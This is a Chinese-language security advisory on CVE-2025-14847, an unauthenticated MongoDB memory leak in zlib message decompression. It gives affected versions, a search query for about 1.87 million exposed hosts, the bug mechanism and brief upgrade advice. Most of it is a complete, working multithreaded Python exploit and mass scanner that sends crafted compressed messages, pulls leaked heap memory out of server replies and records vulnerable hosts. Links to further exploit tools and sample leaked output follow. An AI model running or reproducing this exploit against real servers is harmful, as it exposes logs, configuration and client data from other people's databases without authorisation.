文章总结: MongoDB存在严重漏洞CVE-2025-14847,未经认证者可利用zlib解压缩缺陷读取未初始化堆内存,泄露日志及配置等敏感信息。影响3.6至8.2.3等多个版本,CVSS评分8.7。建议立即升级至安全版本或禁用zlib压缩功能,并提供了检测脚本。 综合评分: 91 文章分类: 漏洞分析,漏洞预警,数据泄露,数据安全,漏洞POC
CVE-2025-14847 – MongoDB Unauthenticated Memory Leak
原创
始终战斗的
东方隐侠安全团队
2025年12月27日 10:03 江苏
漏洞简介
MongoDB 是一种流行的开源 NoSQL 数据库,用于以灵活的、基于文档的格式存储和管理数据。它将数据存储为类似 JSON 的文档(称为 BSON),而不是像传统 SQL 数据库那样的表和行。这使得MongoDB能够适用于需可扩展性、高性能和灵活数据模型的现代应用程序。
近日,MongoDB 解决了一个高严重性漏洞,编号为 CVE-2025-14847(CVSS 评分 8.7)。
该漏洞允许攻击者通过数据库的 zlib 压缩处理在未经身份验证的情况下从服务器内存泄漏敏感数据。由于即使没有有效凭据,内存中的数据也可能会暴露,因此需要立即修补。
东方隐侠安全团队强烈建议尽快升级到安全版本。
影响版本
01
此缺陷影响以下 MongoDB 版本:
-
MongoDB 8.2.0 到 8.2.3
-
MongoDB 8.0.0 到 8.0.16
-
MongoDB 7.0.0 到 7.0.26
-
MongoDB 6.0.0 至 6.0.26
-
MongoDB 5.0.0 至 5.0.31
-
MongoDB 4.4.0 至 4.4.29
-
所有 MongoDB Server v4.2 版本
-
所有 MongoDB Server v4.0 版本
-
所有 MongoDB Server v3.6 版本
版本 8.2.3、8.0.17、7.0.28、6.0.27、5.0.32 和 4.4.30 解决了该问题。
Fofa语句:app=”MongoDB-数据库”
目前公网可探测到1870065条匹配结果:
漏洞原理
02
该问题源于 MongoDB 的服务器如何实现 zlib 压缩协议标头,其中不匹配的长度字段导致响应中返回未初始化的堆内存。
通过通过网络向可访问的 MongoDB 实例发送特制请求,攻击者可以诱骗服务器以内存内容进行响应,其中可能包括先前处理的查询数据或其他缓存信息,从而可能会暴露敏感信息,而无需身份验证且利用复杂性较低。
MongoDB 的 zlib 消息解压缩中的一个缺陷会返回分配的缓冲区大小,而不是实际解压缩的数据长度。这允许攻击者通过以下方式读取未初始化的内存:
- 发送带有夸大的 uncompressedSize 声明的压缩消息
- MongoDB根据攻击者的声明分配了一个大的缓冲区
- zlib 将实际数据解压到缓冲区的开头
- 该错误导致 MongoDB 将整个缓冲区视为有效数据
- BSON解析从未初始化的内存中读取“字段名称”直到空字节
该漏洞利用膨胀的长度字段制作 BSON 文档。当服务器解析这些文档时,它会从未初始化的内存中读取字段名称,直到遇到空字节。不同偏移量的每个探针可能会泄漏不同的内存区域。
泄露的数据可能包括:
- MongoDB 内部日志和状态
- WiredTiger存储引擎配置
- 系统/proc数据(meminfo、网络统计信息)
- Docker 容器路径
- 连接 UUID 和客户端 IP
漏洞利用
03
漏洞利用脚本如下:
#!/usr/bin/env python3
import socket
import struct
import zlib
import re
import argparse
import threading
import time
from typing import Tuple, List
from concurrent.futures import ThreadPoolExecutor, as_completed, TimeoutError
from tqdm import tqdm
# 全局锁,保证多线程下结果写入的线程安全
result_lock = threading.Lock()
def send_probe(host: str, port: int, doc_len: int, buffer_size: int, timeout: float = 2.0) -> bytes:
"""Send crafted BSON with inflated document length (添加超时控制)"""
# Minimal BSON content - we lie about total length
content = b'\x10a\x00\x01\x00\x00\x00'# int32 a=1
bson = struct.pack('<i', doc_len) + content
# Wrap in OP_MSG
op_msg = struct.pack('<I', 0) + b'\x00' + bson
compressed = zlib.compress(op_msg)
# OP_COMPRESSED with inflated buffer size (triggers the bug)
payload = struct.pack('<I', 2013) # original opcode
payload += struct.pack('<i', buffer_size) # claimed uncompressed size
payload += struct.pack('B', 2) # zlib
payload += compressed
header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
try:
sock = socket.socket()
sock.settimeout(timeout)
sock.connect((host, port))
sock.sendall(header + payload)
response = b''
# 缩短响应读取逻辑,避免长时间阻塞
start_time = time.time()
while len(response) < 4or len(response) < struct.unpack('<I', response[:4])[0]:
if time.time() - start_time > timeout:
break
chunk = sock.recv(4096)
ifnot chunk:
break
response += chunk
sock.close()
return response
except Exception as e:
returnb''
def extract_leaks(response: bytes) -> List[bytes]:
"""Extract leaked data from error response"""
if len(response) < 25:
return []
try:
msg_len = struct.unpack('<I', response[:4])[0]
if struct.unpack('<I', response[12:16])[0] == 2012:
raw = zlib.decompress(response[25:msg_len])
else:
raw = response[16:msg_len]
except:
return []
leaks = []
# Field names from BSON errors
for match in re.finditer(rb"field name '([^']*)'", raw):
data = match.group(1)
if data and data notin [b'?', b'a', b'$db', b'ping']:
leaks.append(data)
# Type bytes from unrecognized type errors
for match in re.finditer(rb"type (\d+)", raw):
leaks.append(bytes([int(match.group(1)) & 0xFF]))
return leaks
def read_targets(file_path: str) -> List[Tuple[str, int]]:
"""读取targets.txt文件中的目标列表"""
targets = []
default_port = 27017
try:
with open(file_path, 'r', encoding='utf-8') as f:
for line_num, line in enumerate(f, 1):
line = line.strip()
ifnot line or line.startswith('#'):
continue
if':'in line:
parts = line.split(':', 1)
host = parts[0].strip()
try:
port = int(parts[1].strip())
except ValueError:
tqdm.write(f"\n[!] 第{line_num}行端口格式错误,使用默认端口27017: {line}")
port = default_port
else:
host = line
port = default_port
targets.append((host, port))
except FileNotFoundError:
print(f"[!] 目标文件 {file_path} 不存在!")
except Exception as e:
print(f"[!] 读取目标文件出错: {e}")
return targets
def scan_target(host: str, port: int, min_offset: int, max_offset: int,
step: int = 100, timeout: float = 10.0) -> Tuple[bool, str, int, int]:
"""
扫描单个目标(优化版)
- step: 步长,减少循环次数
- timeout: 单目标扫描总超时
"""
all_leaked = bytearray()
unique_leaks = set()
start_time = time.time()
try:
# 1. 先快速检测是否存在漏洞(只扫前几个offset)
quick_check_offsets = [50, 100, 200, 500]
has_vuln = False
for doc_len in quick_check_offsets:
if time.time() - start_time > timeout:
break
response = send_probe(host, port, doc_len, doc_len + 500)
leaks = extract_leaks(response)
if leaks:
has_vuln = True
break
# 2. 只有快速检测发现漏洞,才进行完整扫描(带步长)
if has_vuln:
for doc_len in range(min_offset, max_offset, step):
if time.time() - start_time > timeout:
tqdm.write(f"\n[!] {host}:{port} 扫描超时")
break
response = send_probe(host, port, doc_len, doc_len + 500)
leaks = extract_leaks(response)
for data in leaks:
if data notin unique_leaks:
unique_leaks.add(data)
all_leaked.extend(data)
leaked_bytes = len(all_leaked)
is_success = leaked_bytes > 0
return is_success, host, port, leaked_bytes
except Exception as e:
tqdm.write(f"\n[!] {host}:{port} 扫描异常: {str(e)[:50]}")
returnFalse, host, port, 0
def save_success_results(results: List[Tuple[str, int, int]], output_file: str):
"""保存成功的检测结果到文件"""
try:
with open(output_file, 'w', encoding='utf-8') as f:
f.write("# CVE-2025-14847 MongoDB Memory Leak 检测成功的目标\n")
f.write("# 格式: IP:端口 - 泄露字节数\n")
f.write("# ==============================================\n\n")
for host, port, leaked_bytes in results:
f.write(f"{host}:{port} - 泄露字节数: {leaked_bytes}\n")
print(f"\n[*] 成功结果已保存到: {output_file}")
except Exception as e:
print(f"\n[!] 保存结果文件出错: {e}")
def main():
parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak (多线程批量版)')
parser.add_argument('--targets', default='targets.txt', help='目标文件路径 (默认: targets.txt)')
parser.add_argument('--min-offset', type=int, default=20, help='最小文档长度 (默认:20)')
parser.add_argument('--max-offset', type=int, default=1000, help='最大文档长度 (优化默认值:1000)')
parser.add_argument('--step', type=int, default=50, help='扫描步长 (默认:50,越大越快)')
parser.add_argument('--timeout', type=int, default=10, help='单目标扫描超时(秒) (默认:10)')
parser.add_argument('--output', default='CVE-2025-14847-succ.txt', help='成功结果保存文件')
parser.add_argument('--threads', type=int, default=20, help='扫描线程数 (默认:20)')
args = parser.parse_args()
print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak (修复版)")
print(f"[*] 目标文件: {args.targets} | 线程数: {args.threads} | 超时: {args.timeout}s")
print(f"[*] 扫描范围: {args.min_offset}-{args.max_offset} (步长:{args.step})")
print(f"[*] 结果保存: {args.output}")
print("="*60)
# 读取目标列表
targets = read_targets(args.targets)
ifnot targets:
print("[!] 未读取到有效目标,程序退出")
return
print(f"\n[*] 共读取到 {len(targets)} 个目标,开始多线程扫描...")
# 存储成功的结果
success_results = []
# 使用线程池进行多线程扫描,添加进度条
with ThreadPoolExecutor(max_workers=args.threads) as executor:
# 提交所有任务
future_to_target = {}
for host, port in targets:
future = executor.submit(
scan_target,
host, port,
args.min_offset, args.max_offset,
args.step, args.timeout
)
future_to_target[future] = (host, port)
# 创建进度条(设置动态刷新)
pbar = tqdm(
total=len(future_to_target),
desc="扫描进度",
unit="目标",
ncols=80,
dynamic_ncols=True,
leave=True
)
# 处理完成的任务
for future in as_completed(future_to_target, timeout=args.timeout*len(targets)):
target = future_to_target[future]
try:
# 获取结果(带超时)
is_success, host, port, leaked_bytes = future.result(timeout=5)
if is_success:
with result_lock:
success_results.append((host, port, leaked_bytes))
tqdm.write(f"\n[+] 发现漏洞 ▶ {host}:{port} | 泄露字节数: {leaked_bytes}")
else:
tqdm.write(f"\n[-] 无漏洞 ▶ {host}:{port}")
except TimeoutError:
tqdm.write(f"\n[!] 超时 ▶ {target[0]}:{target[1]}")
except Exception as e:
tqdm.write(f"\n[!] 错误 ▶ {target[0]}:{target[1]} | {str(e)[:30]}")
finally:
# 强制更新进度条
pbar.update(1)
pbar.refresh()
# 关闭进度条
pbar.close()
# 保存成功结果
if success_results:
save_success_results(success_results, args.output)
print(f"\n[✅] 扫描完成!共发现 {len(success_results)} 个易受攻击的目标")
else:
print("\n[ℹ️] 扫描完成!未发现易受攻击的目标")
if __name__ == '__main__':
main()
少侠们可以在运行脚本时灵活配置max-offset,比如50000,可以先用上面提供的脚本找到存在漏洞的目标,然后针对漏洞目标进行全面的扫描。
直接使用https://github.com/joe-desimone/mongobleed/tree/main 进行内存读取即可。示例输出:
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
其他漏洞利用项目:https://github.com/onewinner/CVE-2025-14847
漏洞环境搭建:https://github.com/ProbiusOfficial/CVE-2025-14847
防护手段
04
用户应立即升级8.2.3、8.0.17、7.0.28、6.0.27、5.0.32和4.4.30等安全版本,或更新版本
如果无法升级,请通过配置压缩选项以忽略 zlib 来禁用 MongoDB 上的 zlib 压缩。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:东方隐侠安全团队 始终战斗的《CVE-2025-14847 – MongoDB Unauthenticated Memory Leak》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论